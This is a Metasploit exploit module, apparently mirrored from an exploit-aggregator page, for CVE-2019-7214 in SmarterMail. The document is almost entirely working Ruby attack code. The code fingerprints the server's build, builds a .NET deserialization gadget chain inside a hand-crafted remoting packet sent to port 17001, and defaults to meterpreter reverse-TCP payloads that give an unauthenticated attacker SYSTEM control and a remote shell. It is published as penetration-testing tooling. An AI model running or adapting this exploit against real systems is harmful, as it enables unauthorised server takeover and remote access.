Share
## https://sploitus.com/exploit?id=PACKETSTORM:173388
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the SmarterTools SmarterMail  
software for version numbers <= 16.x or for build numbers < 6985.  
The vulnerable versions and builds expose three .NET remoting endpoints  
on port 17001, namely /Servers, /Mail and /Spool. For example, a  
typical installation of SmarterMail Build 6970 will have the /Servers  
endpoint exposed to the public at tcp://0.0.0.0:17001/Servers, where  
serialized .NET commands can be sent through a TCP socket connection.  
  
The three endpoints perform deserialization of untrusted data  
(CVE-2019-7214), allowing an attacker to send arbitrary commands  
to be deserialized and executed. This module exploits this vulnerability  
to perform .NET deserialization attacks, allowing remote code execution  
for any unauthenticated user under the context of the SYSTEM account.  
Successful exploitation results in full administrative control of the  
target server under the NT AUTHORITY\SYSTEM account.  
  
This vulnerability was patched in Build 6985, where the 17001 port is  
no longer publicly accessible, although it can be accessible locally  
at 127.0.0.1:17001. Hence, this would still allow for a privilege  
escalation vector if the server is compromised as a low-privileged user.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Soroush Dalili', # Original discovery and PoC  
'1F98D', # ExploitDB author  
'Ismail E. Dawoodjee' # Metasploit module author  
],  
'References' => [  
[ 'CVE', '2019-7214' ],  
[ 'EDB', '49216' ],  
[ 'URL', 'https://research.nccgroup.com/2019/04/16/technical-advisory-multiple-vulnerabilities-in-smartermail/' ]  
],  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'x86/x64 Windows CmdStager',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_cmdstager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',  
'CmdStagerFlavor' => 'vbs'  
},  
'CmdStagerFlavor' => %w[vbs certutil]  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2019-04-17',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(9998, true, 'SmarterMail default HTTP port'),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptInt.new('TCP_PORT', [true, 'SmarterMail default .NET remoting port', 17001]),  
OptString.new(  
'ENDPOINT', [  
true,  
'Choose one of three exposed endpoints: Servers, Spool, and Mail. Example - tcp://127.0.0.1:17001/Servers',  
'Servers'  
]  
)  
]  
)  
end  
  
def check  
print_status('Checking target web server for a response...')  
res = send_request_cgi!({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
if res  
body = res.body  
else  
return CheckCode::Unknown('Target did not respond to check request.')  
end  
  
unless res.code == 200 && body.downcase.include?('smartermail')  
return CheckCode::Unknown('Target is not running SmarterMail.')  
end  
  
print_good('Target is running SmarterMail.')  
  
print_status('Checking SmarterMail product build...')  
product_build = body.match('stProductBuild.*\s\(')  
build_number = product_build.to_s.scan(/\d+/)[0] if product_build  
  
if product_build  
print_good("Target is running SmarterMail Build #{build_number}.")  
else  
print_warning('Product build not found. 16.x versions and below do not have a build number.')  
end  
  
if product_build && Rex::Version.new(build_number) < Rex::Version.new('6985')  
return CheckCode::Appears  
end  
  
print_status('Checking SmarterMail product version...')  
product_version = body.match('stProductVersion.*')  
version_number = product_version.to_s.split('"')[1] if product_version  
  
unless product_version  
return CheckCode::Detected('SmarterMail product version cannot be determined.')  
end  
  
print_good("Target is running SmarterMail Version #{version_number}.")  
  
if Rex::Version.new(version_number) <= Rex::Version.new('16.3.6989.16341')  
return CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def execute_command(cmd, _opts = {})  
uri = "tcp://#{datastore['RHOST']}:#{datastore['TCP_PORT']}/#{datastore['ENDPOINT']}"  
  
serialized = ::Msf::Util::DotNetDeserialization.generate(  
cmd,  
gadget_chain: :TypeConfuseDelegate,  
formatter: :BinaryFormatter  
)  
  
preamble = '.NET'.unpack('C*') # Header  
preamble += [0x01] # Version Major  
preamble += [0x00] # Version Minor  
preamble += [0x00, 0x00] # Operation Type  
preamble += [0x00, 0x00] # Content Distribution  
preamble += [serialized.length].pack('I').unpack('C*') # Serialized Data Length  
preamble += [0x04, 0x00] # URI Header  
preamble += [0x01] # Data Type  
preamble += [0x01] # Encoding - UTF8  
preamble += [uri.length].pack('I').unpack('C*') # URI Length  
preamble += uri.unpack('C*') # URI  
preamble += [0x00, 0x00] # Terminating Header  
data = preamble + serialized.unpack('C*') # Data to Send  
final_payload = data.pack('C*')  
  
begin  
sock = Rex::Socket::Tcp.create(  
'PeerHost' => datastore['RHOST'],  
'PeerPort' => datastore['TCP_PORT'],  
'Proxies' => datastore['Proxies'],  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self  
}  
)  
sock.write(final_payload)  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  
print_error("Failed: #{e.class} - #{e.message}")  
elog(e)  
ensure  
sock.close if sock  
end  
end  
  
def exploit  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :windows_cmdstager  
execute_cmdstager  
end  
end  
  
end